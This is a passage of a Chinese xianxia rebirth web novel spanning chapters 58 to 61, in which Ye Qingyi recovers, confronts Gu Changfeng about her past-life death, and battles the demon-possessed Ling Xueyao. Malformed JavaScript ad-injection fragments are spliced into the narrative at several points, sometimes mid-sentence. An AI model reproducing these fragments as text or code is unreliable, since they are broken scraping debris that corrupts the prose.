叶清漪转头看向晏家父子,如今晏临修习魔修的证据已经摆在眼前,这般处理已是最妥当的了,若再追究下去,一时半会儿也再难有什么进展,若再纠缠下去,再查出晏临魔修的种种,到时只怕就不是处置连喜了,仙门再因什么修习禁术违反门规的理由来找他们索赔,若再说大了,禁止晏氏一族后代子孙入选仙徒,那他二人岂不成了家族的罪人! 如此想罢!晏弘德也松了口:“如此处置倒也稳妥,相信这也是长公主愿意看到的。” 晏弘德说着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起身,对云宸恭敬一拜,后面的晏籍都看傻了,后知后觉地跟着行礼:“晏某还有一个不情之请,还望云宸掌门准允。” 云宸抬手:“晏公但讲无妨。” “还请掌门念在晏氏一族这么多年对云仞山的支持,莫要将晏临从云仞山除名,说他暴病而亡也好,走火入魔也罢,总之人死灯灭,就给晏临留个体面罢!” 云宸颔首:“那是自然。” 晏弘德肉眼可见地松了口气,转身看到叶清漪,有些忌惮地往一旁让了让,坐回去的时候,叶清漪明显感觉到他特地往离叶清漪远的地方坐了点,晏籍也站在了另一边,尽量不挨着叶清漪。 云宸不动声色地将这些看在眼里,默默看了叶清漪一眼,没多言,只跟众人宣布结果:“那便如此安排罢!连喜和叶清漪一同为晏临抄写经文一遍,我们也会为其施法超度的。” “那此事便如此定下罢!”云宸同左右示意。 几位长老都表示无异议。 唯有凌雪瑶不甘心地盯着叶清漪,还不算罢休! “爹,你就这么轻易放过他们吗?” 结果遭到修言的呵斥:“退下!掌门与长老们定好的事情,几时轮到你置喙了!” 凌雪瑶抬手一指叶清漪:“那她呢!她凭什么能随便插嘴!” “你叶师姐与此事有直接关联,你有吗?还不快闭嘴!” 修言说着给了一旁一个眼神,不辞立刻会意,上前将凌雪瑶拉开了。 事情既定,众人也依次离场,叶清漪终于松懈下来,冲连喜莞尔一笑,连喜也报以一个劫后余生的笑容,下一刻,他的神情却猛然变了,慌忙去扶叶清漪。 叶清漪方才一笑,便有黑色的血控制不住自嘴角渗出,叶清漪刚欲抬手拭去,却觉喉口一甜,不受控制地呕出一大口血。 接着双腿一软,倒了下去,被连喜扶住,意识迷离之际,她只听到云宸自身后赶来,焦急的语气近在咫尺:“快送她回流云殿,这里仙气太重,她早该受不住了,竟还撑了这么久!” 之后叶清漪又感觉到连喜将她打横抱起,熟悉的恶心之感再次袭来,叶清漪急得想去拉云宸,但慌乱中什么也没有拉住,就这么认命地一路颠回去了。 58. 第 58 章 之后叶清漪又在流云殿休养了大半个月,等可以搬回寝舍的时候,已经是暮秋时节了,天气眼见着冷了下来,白日越发的短,早晚时分也添了几分凉意。 不似春日的散漫和夏日的倦怠,秋日虽然万物萧条,但肃杀的氛围倒能让人越发警醒。 一想到要离开流云殿回去住,叶清漪一时间还有些不适应,意外地对流云殿生出一些不舍。 走的时候还跟院子里的花花草草一一道别,说让它们等她一年,一年后她再杀回来……不是……住回来。 云宸和连喜一早搬了回来,之前为了避嫌,他们二人一个住在弟子寝舍,一个在执明的宿星殿借宿了大半个月,叶清漪虽然心里过意不去,但还是接受了他们的好意。 给晏临的经文早已抄完给他烧了,晏弘德父子回去后,挑了个日子将晏临下葬了,对外只说是被妖邪所害。 后面的事情就不得而知了,也跟他们无关,叶清漪现在只想尽快恢复修炼,把这些日子缺的功课都补上。 云宸和连喜一早已经收拾好自己的东西,知道叶清漪走之前肯定会去打招呼,早已双双在正殿等候。 叶清漪跟在院子里跟花儿草儿话别过后,便入正殿拜别二人。云宸坐在殿中央的红木雕云纹罗汉床上,手下垫着一个秋香色金线蟒引枕,执一本心法书看着,见她来了,便将书册搁下,定定看着她走近。 “弟子特来拜别掌门,多谢掌门和师兄这些时日的照顾!” 罗汉床的炕几上摆着一个镂空雕花香炉,其上香烟袅袅,燃的香料和云宸身上的味道不太一样,闻着大约是鹅梨帐中香,恰好能掩盖掉他身上些许的檀香之气。 连喜从一旁的圈椅上起身,问她身体恢复得如何?若是没有完全恢复,还可以多待几日。 叶清漪只道已经大好,还要回去将落下的课业补上,也不能再让师尊和师兄二人为她有寝殿不能回。 连喜还欲再劝,被云宸开口打断了。 “灵泉也泡了大半月,该是好得差不多了,我还替你备了一瓶丹药,可以助你清心净气,稳固心神。” 前世云宸也是待她这般好,那时云宸虽然不像如今这般直率,但一举一动都透着对叶清漪的关心。 取之不尽的灵丹妙药,随意取阅的心法秘籍,还有后来她为门派抵御魔族入侵,身负重伤,云宸几乎守了她十几个日夜,毫不吝啬地用自己的修为替她疗伤,亲自为她试药,结果险些中毒,还因此落下病根,夜里难以安眠,到了次日便会头疼,闭关的时间也越来越长。 但那时叶清漪刚成为门派大师姐,被门中事务牵绊,无暇他顾,在流云殿的日子很少,很晚回来很早又出去了,有时十天半个月才能见云宸一面,也没有发现他身体的异样。 前世她在流云殿四年,都不曾好好看过这院中的花草,头顶的流云,还有独自忍受术法反噬的云宸。 反倒这一个多月里,她算是好好将流云殿看了个遍,才惊觉自己错失了多少好风光。 想到这些不免有些唏嘘,叶清漪按下心思,接过丹药,再次向云宸道谢。 末了不经意扫到桌上半卷的书册,上面有几行中间写了简单的批注,叶清漪离得近,批注又很显眼,很难不注意到,更让她震惊的是,这批注的习惯和她看的那本《奇经注解》里的一模一样。 难道是云宸? 若是如此,似乎也很合理,藏经阁的书册弟子们只能借阅,怎么可能敢在书上随意批注?不辞也说了这书不是藏经阁的藏书,那只有一种可能,这书是流云殿里的。 故而云宸才会对自己如此上心! 那思过堂的几本书都是云宸放在那的,这也是引发这次事件一个很重要的原因,云宸才会耿耿于怀吧! 也就是说,前世连喜应该也是遭遇了类似的事情,只是其中的女弟子不是叶清漪罢了。难怪后来云宸会变成那般,因为自责,他觉得事情起因在他,可他又帮不了自己唯一的弟子,只能眼睁睁看着他被云仞驱逐。 后来他大概是不想叶清漪重蹈连喜的覆辙,才会如此疏远她吧!也可能云宸是怕他在自己身上倾注太多心血,最后还是落得个白忙一场的下场吧! 可事实证明,暗处的敌人并不会因为你的退让而收手,叶清漪最后还是落得了和连喜一样的下场,更好笑的是,叶清漪和连喜还在魔界相遇了,还真是讽刺! 云宸见她看着书册,顺手将其向下倒扣在桌上,又问叶清漪怎么了? 叶清漪连连摇头,含糊过去了。 “既如此,趁天色还早,你便早些回去罢!我会让连喜御剑送你。” 连喜上来拉她:“走吧!” 叶清漪点点头,和云宸郑重道别,之后便同连喜一前一后往殿外走去。 快走到门口时,叶清漪不知想到什么,忍不住回首去看云宸,见他又将书册拿了起来,头也不抬地隔空将茶杯取过,喝了一口,手一松,茶杯又回了原位。 流云殿纵深很深,外间的光亮照不进来,大殿中央的蜡烛也是长年燃着的。望着云宸独自坐在那里的身影,叶清漪不由得想,前世她离开云仞之后,他也是像这般坐在殿内吧!也不知他弥留之际心里在想什么,他会想到她吗?会想再见她这个不孝弟子一面吗? 应该不会吧!或许他早就将她忘了。 …… 连喜一直将她送到寝舍门口,却没有要走的意思,叶清漪也想和连喜再待一会,就没有急着进去。 “这次的事,还要多谢你!”连喜高高大大的,此刻站在他面前却像个不安的小孩一样,自从这事发生之后,他眉心的愁云就没散开过。 叶清漪看着,忍不住踮起脚轻抚了一下他眉心:“再拧下去,都快生出川字纹了!” 连喜一愣,抬手摸着叶清漪抚过的地方,脸颊不由得染了红晕。 “别这样,我也没帮什么忙,再说了,我那也不全是帮你,也是为了我自己,若你因为救我被赶下山,那让我还怎么再安心修炼下去!至于其他的事,我们暂时还左右不了,如今唯一能做的就是尽快恢复功力,努力修炼。” 叶清漪此话其实有两重含义,其一,她的确是让连喜要潜心修炼,自他二人相识以来,连喜的法力似乎一直都在悟道期,虽然重天境界是比较难突破,但连喜的修为也的确停滞太久了,加上他生性恬淡,估计也没有再精进的想法;其二,如今叶清漪的首要任务还是努力修炼,为了次年的仙徒终极考核做准备,没有精力和他时时在一处。 连喜大概也明白了她的意思,虽然有些错愕,但一想到这段时间门中关于二人的流言,暂时避嫌对叶清漪也比较好,便欣然接受了。 “那我们都各自努力罢,希望一年后能与你在内门相见!”连喜拍了拍她的头。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叶清漪抬手摸着他拍过的位置,语带幽怨:“别拍头,会长不高。” 连喜失笑不已,连声道:“好好好,我的错!” 连喜话还没说完,叶清漪已经旁若无人地原地跳了三下。 她正是长个子的时候,这要重生一回长不到当初的身高,那岂不亏大了! 连喜没忍住再次笑出声,被叶清漪用眼神警告了,才勉强收了笑意。 “好了,不逗你了,回去罢!你的物件已经派仙兽提前送来了,不过还是需要自己收拾一下。” 叶清漪应过,没再说其他。 连喜眼里笑意未散,肩膀却一沉,好像泄了一股气,他连忙看向远处,深深吸了一口气,才将眼底泛起的泪光掩饰过去:“那我走了。” 连喜几乎是有些仓促地离开了,仿佛多停留一刻都会失态。 看着连喜落荒而逃的背影,叶清漪也松了口气,至少,她留住了他,虽然自此那段在魔界的经历,只存在与她一人的脑海中,但与此相比,她还是更愿意看见连喜安然无恙。 但有些残酷的事实,他还是无可避免地看清了。 如今他看起来似乎和从前一样,但叶清漪能感觉到他只是在假装罢了,方才他也是为了让叶清漪宽心,才故意和她说笑的。 一直看着连喜的身影消失在拐角,叶清漪才转身往寝舍走,也不知帮连喜留在云仞是对是错,但至少能避免让他免受剥夺仙力之苦,也是好的,至于其他,只等日后再看吧! 刚走进寝舍的院子,远远便看见裴佩和夏侯静仪一左一右等在门口,脖子伸得比膳堂养的大鹅还长,叶清漪看得好笑,心头的阴霾也稍稍散去一些。 “清漪!”夏侯静仪大老远就冲她招手,不等叶清漪走近,二人都紧赶两步迎了过来。 见她们如此,叶清漪猜测这俩人原本应该是守在院门处的,想必是看见连喜送她回来,为了避嫌,这才回到寝舍门口。 叶清漪扬了扬嘴角,在二人你一言我一语的关切问候下回了寝舍。 “你的东西我们已经替你收拾好了,都是按照你素日的习惯摆放的,你看看可有无不妥!”裴佩指着叶清漪那些被一一放回原位的物件,说道。 “没什么,都挺好的,劳烦你们了。” “跟我们客气什么,你不在的这些日子,我们都担心不已,虽然知道有掌门在,你肯定不会有事,但总还是有些挂心,如今回来了便好,我们又可以一起玩了。”夏侯静仪一连串说了好多。 “行了,同我还说这些客套话作甚,我们朝夕相处这些这么久,有些话不用说我也知道的。”叶清漪扯了扯嘴角,她心里其实是欣慰的,但不知如何将其表达出来。 裴佩大约看出她的疲态,在夏侯静仪再次开口前阻止道:“清漪也累了,让她好好休息罢!” 夏侯静仪捂着嘴,忙道:“对对对,我光顾着说话,忘了你大病初愈,还是要静养,你好好休息,我们不扰你了。” 说着便和裴佩一起在圆桌旁坐了下来。 裴佩吃了个蜜饯,忽然抬起头对叶清漪说:“对了,你台子上那栀子花早就枯了,不过想着是你特意留的,我就没动,你看看要不要做成干花压在书页里。” “另外,大师兄已经连着来找你好几趟了,不出意外的话,你一会儿出去就能看见他。”夏侯静仪说着喝了口茶,又继续吃糕点了。 59. 声声叩问 叶清漪将腐烂的栀子花拿到院中倾倒的时候,转身便看见顾长风在月亮门下等着,见她出现,跃跃欲试地同她招手。 叶清漪看他这般,无奈地叹口气,在山泉池子里将青瓷瓶洗净,拿着瓶子就去找顾长风了。 “清漪……叶师妹……”顾长风小心觑着叶清漪的神色,看上去很不安。 叶清漪甩了甩手上和瓶子上的水,示意不远处:“去明镜台说罢!” 二人一前一后走着,叶清漪走在前头,顾长风沉默在身后跟着,气氛有些难以言说的微妙。 叶清漪打量着明镜台四周,刚下过一场秋雨,空气中带着些清冽的青草香气,深吸一口气,清冽中带点寒意,体内的浑浊之气都仿佛在这瞬间荡涤清明了。 “不过月余,栀子花都尽数凋谢了。”叶清漪挤着嘴角,驻足在明镜台前,打量着左手边那几株栀子树,枝叶间只剩下零星几株白绿相间的花苞,还没来得及绽放,就已被忽至的骤雨打落得有腐烂之势,树根的淤泥处更是落满层叠的白色花瓣,最下层的已经腐烂,即将同淤泥混为一体。 除此之外,只有满树翠绿的新叶,带着残留的雨水,在微风中欢快地摇晃着。 不过是,一场荼蘼花事了,山风过处了无痕。 叶清漪自嘲一笑,举步踏入亭内。 明镜台还是熟悉的样子,圆形石桌配了四个石凳,除了东西两个出口外,一圈都做了美人靠,出口连着两条长长的青石汀步,一直延伸到一旁的大路上。 现下上午的课刚结束,弟子们大多在闲散聊天,或是准备去膳堂,这块便没什么人路过,不过就算有人来往,除非是特意来明镜台,否则一般都是从另一侧的大路进出。 叶清漪在栏杆后挑了处略干净的地方坐下,摊开手心的青瓷蒜头瓶,瓶身已被她捂热了,她用袖子擦了擦,将残留的水珠拭净。顾长风随后进来,在她面前停了会,衣摆上的暗银绣线在她面前晃了晃,犹豫片刻,才在一旁的空位上坐下,还同她保留了一段恰到好处的距离。 顾长风斟酌着开口:“师妹你好点了吗?” 叶清漪没有回答,她知道这也不是顾长风真正想说的。 她提了一口气,抬眼看向顾长风,难得郑重起来。 “我今日有件事情要同你说!” “你说!”顾长风目光闪烁几息,也正了神色,略带紧张地等着叶清漪接下来的话。 “你不是一直问我,当初为何一见面就打你吗?今日我便说与你听,其实我早就经历过这些了,我已将此生过了一遍了,并且死在了十年后,”叶清漪定定看着顾长风,一字一顿说,“死在了你的手上。” 顾长风震惊望着叶清漪,久久不能回神,半晌才艰难挤出一句:“怎……怎么可能呢?” “我知道这确实很难让人相信,要证明倒也不难,我……” 顾长风抬手打断:“就算你真的重活了一世,那我又怎么可能要杀你呢?” 叶清漪沉吟片刻:“还记得之前在问道堂外我问你,如果你有一位认识的师妹因为误入魔修,被仙门除名,多年后魔修即成,又回到云仞,你该如何?” 顾长风回忆了一下:“有点印象,那是进山那晚后,同你在云仞第一次正式相见。那个师妹……不会就是你吧?” 叶清漪没有否认:“记得当时你没有回答,若我今日再问你一次,你会如何作答?” 顾长风神色有了一些细微的变化。 “你但说无妨。” “我能了解一下她回来的原因吗?” 叶清漪别有深意地看着他。 “我的意思是……” “她就是回来寻仇的!” “我……” “你该当如何呢?” “……” 顾长风沉默。 “罢了……”叶清漪摆摆手,低头继续摆弄着手里的青瓷瓶,瓶身触手温润,光滑细腻。 “若对方是我珍视之人,我自会以她的安危为先,也会努力转圜,让他人不至于伤害到她。” 叶清漪手上的动作一顿。 “那如果她就是错了呢?”她听见自己的声音响起,带着点沙哑。 顾长风闻言拧紧了眉心,若有所思。 “若她威胁到整个仙门的安危,你身为门派大弟子,又该当如何?”叶清漪长长呼出一口气,语气里带了点悲凉。 下一刻,她听见顾长风略带踌躇的回答。 “我大概,会杀了她……” 叶清漪的眼神瞬间冷了下来,脸上戏谑的笑意荡然无存:“意料之中的回答。” “但之后我会自尽……” 叶清漪愣在当场。 “你说什么?” “若真如你所言,我既不能阻止她,又无法救她,那便只有这一条路了。”顾长风坦然望着叶清漪,看上去并不像在说假话。 “你……”叶清漪一时竟不知如何反应。 反倒是顾长风忍不住追问:“你说的这个师妹,是前世的你吗?” “不错。”叶清漪也不否认。 “你说前世是我亲手杀了你?”顾长风也不绕弯子,得到肯定的答案后,眼神坚定了几分,不似之前一直有些隐隐的忧虑,“所以你一开始见到我时才会那般,还问一些什么是掌掴痛还是穿心痛之类的话。” “那时我刚重生,还没死透呢!自然气不过。” 顾长风有些错愕,小心地观察着叶清漪的神情:“你是担心你我会像前世一般的结局,所以才刻意回避我的吗?” 叶清漪闻言抬眼直直望着顾长风,微凉的山风自二人之间拂过,撩起顾长风细碎的刘海,叶清漪在他眼里看见了年少时的自己,心中一软,想起两世顾长风跟在自己身后的每一个时刻,他们曾是那么熟悉,可后来却又无比陌生,虽然朝夕相伴,但他们都不曾真正了解过彼此。 世人给这种无解的关系的解释,叫做有缘无分。 叶清漪没有正面回答,只是由衷说道:“其实我不怪你。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 顾长风眼底的冰霜悄然融化了,看向叶清漪的眼里带了点隐隐的期待。 “我那次回来,本就没打算活着离开,只是……” 顾长风脸上闪过一丝疑惑:“这十年,到底发生了什么?我真的会对你刀剑相向吗?” “后面发生的事情不是最重要的,我告诉你这些,只是想让你知道,就算这一世我们都有所改变,就算能避免一样的结局,我也做不到和你坦然相处。” 顾长风眉头紧锁:“为何?是因为你总会想到前世的事情吗?” 叶清漪摇摇头,视线投向眼前的明镜台:“你知道吗?曾经我们经常在这里相见,那时总是你一直在说话,说你和你那些师弟之间的事情,说你下山试炼又有了什么意外收获,还说你有多想我,而我只是沉默听着,虽然我从来没回应过,但我也并非不喜欢听你絮叨,若没有后来的事情,或许我们真的能成为道侣。” 听到这里,顾长风眼睛亮了亮,随后又黯淡了下去:“后来,到底发生了什么?就一点转圜的余地都没有了吗?” 叶清漪沉吟片刻,调整了坐姿,向顾长风那边侧了侧:“我且问你,此次连喜师兄遭遇的事情,你如何看?” “我……我如今也改变不了什么,一切还是听从掌门和长老们的安排。”顾长风顾左右而言他。 “我是问你自己的想法。” 顾长风仍然不明所以。 “那如果他们执意要将连喜驱逐,你就放任不管吗?他也算和你日夜相伴的同门。” “同门情谊自是重要,但不是所有事情都那么简单的,你如今这般问我,我也不知该如何作答。” 叶清漪放弃了追问:“也罢,如今说这些也没什么意义了。” 叶清漪说着起身。 顾长风也随之站起来:“那,你还在意前世最后发生的那些吗?我知道,亲手……死在……一个人手里,是不可能这么快放下的,但你能不能给我一些时间,我会证明事情不会像你前世那样发展的。” 叶清漪也很坚定:“我跟你说这些,也就意味着我已经可以直面这些了,这个你大可放心,不过事情还会不会像前世那样发展,谁也不能肯定。” 叶清漪说着视线移到一侧的正路上,在脑中下意识梳理重生以来发生的每一件事情,却看到一位师弟神色匆匆地出现在灌木丛的拐角处,四处张望片刻,正对上叶清漪的视线,之后也看到了一旁的顾长风。 师弟神色一变,紧忙朝他们小跑过来:“大师兄,我可算找到你了!你怎么在这儿啊!” 顾长风回过头正面迎上,一把扶住冲过来的师弟:“什么事,为何这般惊慌?” “你快去云凛阁看看吧!出大事了!!!”师弟说着神色古怪地看了眼叶清漪,似是对她有些忌惮。 “出什么事了?叶师妹不是外人,你直说便是。” 那位师弟紧紧拉着顾长风,颤着声音。 凌师妹她……好像失心疯了! 什么??? 60. 云凛之战 云凛阁是修言的寝殿,位于后山西北方,就位于男弟子寝舍后方,只是需从凌云广场绕过,无法直接抵达。 云凛阁上方有独立结界,无法御剑,他们只能步行,叶清漪刚从流云殿搬出来,后山的禁制对她不起效果,她也一同赶去了。 赶到的时候云凛阁外已经围了一大群人了,云宸和几个长老都赶到了,连喜则带着几个师兄弟拿着剑在一旁待命,将凌雪瑶围在中间。 修言负手站在云凛阁门口,脸色阴沉地盯着凌雪瑶。 凌雪瑶拿着霜华剑胡乱劈砍,发髻散乱,双眼通红,口中喃喃有词,早已没了之前那般模样。 “这到底是怎么了?”边上有不明所以的弟子问。 “不知道,听说已经好几天了,之前被修言长老用术法关在了偏殿,今日不知怎的自己跑了出来,大家这才知道。”另一位师弟简单交代了原委。 “好端端的这是怎么了?”叶清漪也不明白,之前在昭明殿分开时凌雪瑶还好端端的,如今怎么变成这样了? 边上也没几个人能说清楚的,你一言我一语地,说什么的都有。 这时一位师姐说的话引起了众人的注意。 “这位凌师妹似乎是自那日去了一趟昭明殿后,整个人就不太对劲,我那日路过前山,看到她在那假山附近魂不附体地走着,我还跟她打了招呼,她反应很不自然,看着就不太对劲,只是当时我没想那么多,就走开了。” “昭明殿,是跟之前晏临师兄的事情有关吗?”另一位师弟猜测道。 不等其他人再说什么,凌雪瑶听到晏临两个字,红着眼看向他们这边,那位师弟连忙噤了声。 凌雪瑶却发起狂来,惊恐地张望着四周,口中连连念着晏临的名字,说着什么别怪她、不是她害的之类的话。 凌雪瑶声音不大,但他们这边的人都听到了,云宸跟几位长老自然也听到了。 弟子们别有意味地交换着眼神,背后的意思不言而喻。 云宸和其他三位长老则是默契地保持沉默。 叶清漪失笑不已,没想到这件事竟然还有后续! 这时凌雪瑶看到了人群中的她。 凌雪瑶瞬间像是被定住了,直直地看着她,浑身微微发抖,慢慢的,她的惊恐不见了,转而变得愤怒起来。 “叶清漪,你受死吧!”凌雪瑶指着叶清漪大喊,举着霜华剑就要劈过来。 连喜眼疾手快,立刻带着几个师弟冲上前,将凌雪瑶拦住。 叶清漪边上几个同门也赶紧将她往后拉了一点,同时自己也往后站了站,生怕被凌雪瑶一剑扫到。 凌雪瑶人虽然被拉住了,但还是愤怒地指着叶清漪骂:“叶清漪,都怪你,都是因为你!你个妖女,我只是让晏临去教训教训你,他居然丢了一条命!叶清漪,你太可怕了!” 叶清漪挑了挑眉,这看着也不像失心疯啊!这不还认得她吗? 只是这样一来,众人也都清楚地听到凌雪瑶说了什么,神色都变得微妙起来,修言一张脸更是冷到极点。 不等叶清漪开口,凌雪瑶又变回了惊恐的样子,开始发抖:“晏临师兄,我真不是故意害你的,我没想到事情会变成这样,你要怪就怪那个叶清漪,都是因为她!” 好嘛,叶清漪失笑不已,这疯的很别致啊!怎么就认准她一个人了? 修言黑着一张脸,望向顾长风,强压着愤怒:“愣着干什么?还不赶紧将你凌师妹带下去!由得她在这里胡说八道,你安的什么心!” 顾长风不敢多说什么,上前要带走凌雪瑶。 结果连喜却不肯松手。 “这么急作什么,我看师妹状况不是太好,还是让她留在这儿,让掌门和长老们看看吧!” 顾长风没应声,又拉了两下,没拉动。 二人僵持了一会儿,谁也不肯相让。 这时凌雪瑶却突然发狂,不仅挣开几个师兄的束缚,还一把挥开霜华剑,几个人连忙退开,但凌雪瑶的法力似乎增强了不少,剑气直接袭向外围,几个师兄师姐带着叶清漪连连后退,但剑气迅猛,几人一时不知如何应对,眼见剑气就要直直向他们袭来,叶清漪下意识伸手去挡,虽然她心底里知道这样没什么用。 她已经做好了被划伤的准备,可剑气没有像预料中那般袭来,叶清漪放下手,只见几人面前出现了一道蓝色屏障,剑气都被尽数隔绝在外,叶清漪转过头,云宸一只手掌心向前,正用术法建起屏障,将众人护在屏障之后。 接着他转动手腕,往外一推,剑气就被尽数化去了。 几个人这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 才缓过神来,劫后余生地拍着心口。 “这凌师妹的法力何时变得如此强了?” “是啊,她方才这一剑,连大师姐都很少使出来。” 他们说的是如今的大师姐,叫什么叶清漪不清楚,只知道在叶清漪入内门之前,她就已经学成下山了。 不过叶清漪如今也没心思管什么大师姐,她打量着远处的凌雪瑶,方才这一剑,也将她自己的发髻彻底劈开了,如今她披头散发,拎着剑,抵在脚下的沙地中,剑身随着她的步伐在地面上划动着,看上去可怖极了。 凌雪瑶确实不太对劲,她应该不是单纯的被晏临之死吓到,否则她的法力不会忽然变得这么厉害,她就没听过有修仙者因为失心疯,一夜之间术法大涨的。 凌雪瑶身上虽然没有黑气,但这状态实在跟魔气侵体很像。 连喜跟顾长风似乎都被剑气所伤,此刻都不适地躬着身子,面色苍白。 凌雪瑶已经不在意顾长风的状态了,眼里只有叶清漪,见叶清漪打量她,越发癫狂,越过众人,举剑指着她:“你很得意吧!所有人都护着你,连掌门也偏心你,大师兄二师兄都围着你转,欺负你的人都没有好下场,你是不是得意坏了!我告诉你,你得意不了多久了,你迟早会有报应的!” “还愣着干什么!”修言呵斥一旁几个弟子,一拂袖,将凌雪瑶手中的霜华剑打落。 凌雪瑶看着跌落在地的霜华剑,又抬头怔怔看向修言,眼底满是不敢置信:“爹爹?现在连你也要欺负瑶儿吗?瑶儿听了你的话,该做的都做了,我们父女二人,决不能让人欺负了!不是你一直跟我说的吗?要想得到自己想要的,就要不择手段,如今我总算明白了,哪怕对敌人有一丝的怜悯,都是对自己的背叛。” 凌雪瑶凄然一笑,发了狠色,隔空操控霜华剑,自己也慢慢随之上升,在她周身乃至整个霜华剑上此刻都缠绕满了黑气,那些黑气上下翻飞着,掀动着凌雪瑶的衣袍,将她的衣摆吹得猎猎作响。 众人大惊! 叶清漪也神色凝重。 凌雪瑶身上的魔气看起来要比晏临、以及之前那位梓珩师弟所中的魔气都强上数倍。 叶清漪看向一旁的修言,对方站在台阶上,望着眼前这般模样的凌雪瑶,眼神逐渐变得阴鸷。 61. 同门混战 执明率先出手,上前一步,催动功法,阻止凌雪瑶的进一步攻击。 “执明……”云宸试图出言阻止。 “这么重的魔气,师兄你还要纵容下去吗?有些人可是一点都不会心怀感激的!”执明说着转头别有深意地看了修言一眼。 云宸蹙眉望着眼前的情形,默然不语。 其他两位长老见他这般,也不敢贸然上前去帮执明。 执明也懒得再劝,双手一起施法,极力压制着凌雪瑶。 凌雪瑶的反抗更强烈了,霜华剑发了狂四处乱窜,伤了不少人。 霜华剑身黑气萦绕,边上几位都在剑气的攻击下应声倒地,叶清漪之前吃了不少抵抗魔气的丹药,暂时没有被魔气侵袭,凌雪瑶见叶清漪不受剑气侵扰,越发愤怒,发出一声怒吼,重重黑气之下一股血红色的魔气逐渐升腾而起,连带着凌雪瑶的双眼、头发,都开始变红。 她那声怒吼也不像寻常人能发出的声音,倒像是妖兽或是魔兵发出的。 这得感染了多少魔气?事情怎么会变成这样,前世凌雪瑶并没有如此啊!她的行为也太超出常理了。就算要报复她,也没必要入魔啊,她这点修为,怎么能承受得住这么强的魔气呢? 再反观修言的反应,也很奇怪,唯一的女儿变成这样,他只是站在一边不管,并且一遍遍让顾长风将她带走,似乎是怕被人发现什么。 难道凌雪瑶中的魔气跟修言有关? 叶清漪还没分析出个所以然,只听一声:“叶清漪小心!” 叶清漪转头一看,霜华剑裹挟着重重魔气,正迎面向她袭来。 师兄师姐倒在地上,自身难保,顾长风和连喜被魔气所困,自顾不暇,云宸想出手相救,修言却忽然跳下来,拦住云宸。云宸只得与其周旋,无暇分神。 叶清漪又没来得及带上青锋剑,赤手空拳,根本没法应对。 眼看只能生生受了这一剑。 霜华剑已逼至眼前,叶清漪眸光蓦地一凛,不等思索清楚,整个人已经直直向后退了数丈。 前世她好歹还活到入魔那时候,如今可不能折在这里了! 叶清漪脑子里只有这一个想法。 也不知哪来的力量,霜华剑直至眉心,她忽地迸发出一股力量,金色术光自体内而出,横扫而去,将霜华剑击退数丈,直接落在了凌雪瑶脚边,她整个人随之凌空而起,隔空升到了与凌雪瑶一般的高处。 凌雪瑶看着跌落脚底的佩剑,仿佛受了奇耻大辱,怒不可遏,操纵魔气全力向她发起攻击。 叶清漪一时间觉得内里有使不完的灵力,真气浑厚,呼之欲出,面对急速袭来的魔气,她甚至能感受出这股魔气的威力大小——这得益于她前世后来入魔的经历。 叶清漪轻轻抬眼,眉心浮现若有若无的印记,眼眶滚烫,仿佛要被点燃,几乎无师自通,叶清漪仿佛忽然开了窍,知道该如何应对。 她随着心意操控,体内浑厚的内力随着她心意精准到达身体各处,衣袂翻飞,广袖飞舞,所有人都在她脚下,眼前只有凌雪瑶一人。 金色术光逐步扩散,将她笼罩其中,凌雪瑶打出的魔气一碰到叶清漪的护体术光便自行消散,根本无法近身。 凌雪瑶不敢置信,地面那些同门也都仰头望着叶清漪,嘴巴都合不拢了。 凌雪瑶攻击了数下,都没能撼动叶清漪的护体术光,一时乱了阵脚,不知该如何应对。 趁着她失神的空当,叶清漪蓦地凝神,汇聚灵力于掌心,反手一推,打出一股极强的术波,气势汹汹地直袭凌雪瑶的面门。 凌雪瑶抬手格挡,卸去不少攻击,但还是被逼退一大步。 正当叶清漪打算乘胜追击,再次进行攻击时,她手腕处忽然一股灼热,刺得她无力继续。 叶清漪吃痛收了法力,低头一看,手腕内侧浮现一枚清晰的印记,一圈白色线条勾勒出一只展开的翅膀,只有右边半只,下方展开的翅膀边缘,还压了一条蓝色的描边,这印记之前没有,似是在她刚才催动功法的时候出现的。 不好,是妖契发作了! 凌雪瑶自是不肯放过这绝佳的进攻时机,一股劲风卷了过来,叶清漪抬头,魔气已经快要袭上她的面门。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶清漪捏着吃痛的手腕,勉强侧身躲开,但那魔气却像盯上叶清漪似的,转头又追了上来。 无法,叶清漪只得忍着切肤之痛施法抵挡,但这波攻击来势汹汹,叶清漪又受妖契压制,没办法完全施展法力,一时有些难以招架。 手腕的灼热加剧了! 随着叶清漪催动功法的程度越深,印记带给她的痛苦也越发剧烈。 难道是因为妖契的属性和她自身的法力相冲? 暂时也不得而知。 叶清漪只好腾出一只手,施法去压制妖契的反噬。 只是越压制,印记的反噬越强烈,叶清漪觉得手腕那一小块皮肤都快烧着了,并且越往后,她越吃力。 凌雪瑶见状更是加大了攻击强度。 叶清漪只得放弃压制印记,全力抵挡。 下方众人看这战况也是越发焦急,也不知叶清漪到底遇到了什么问题,只觉得这二人都进入了可怕的战斗状态,一时间也没人敢贸然加入。 就看见半空中一黑一金你来我往,术光晃眼,连人影都看不清了。 云宸则是被修言牵制着,执明随后也来帮忙,二人联手竟一时无法打败修言。 顾长风和连喜则是都被魔气压制得无法上前,魔气特殊之处在于,它的反噬程度与修为高低有关,修为越高,受魔气的压制越重。 也就是说,随着修为的提升,越难抵抗魔气的侵袭,就格外要注重对魔气的防御,所以后山除了有云仞山自带的至纯灵气守护,还有一重重不同程度的独立结界,一切都是为了避免受到魔气侵袭,但从刚才进来后叶清漪就发现,云凛阁的结界很奇怪,不像是抵御外来魔气的,反倒像是避免内部的灵力泄露的,这修言到底隐瞒了什么,凌雪瑶又为何会忽然癫狂。 叶清漪脑中有无数疑问,她与凌雪瑶的对峙还在持续,手腕处的灼热还在加剧,开始泛起点点鲜红,大约是凌雪瑶体内的魔气比密林花妖的还要高深,印记才会被催化。 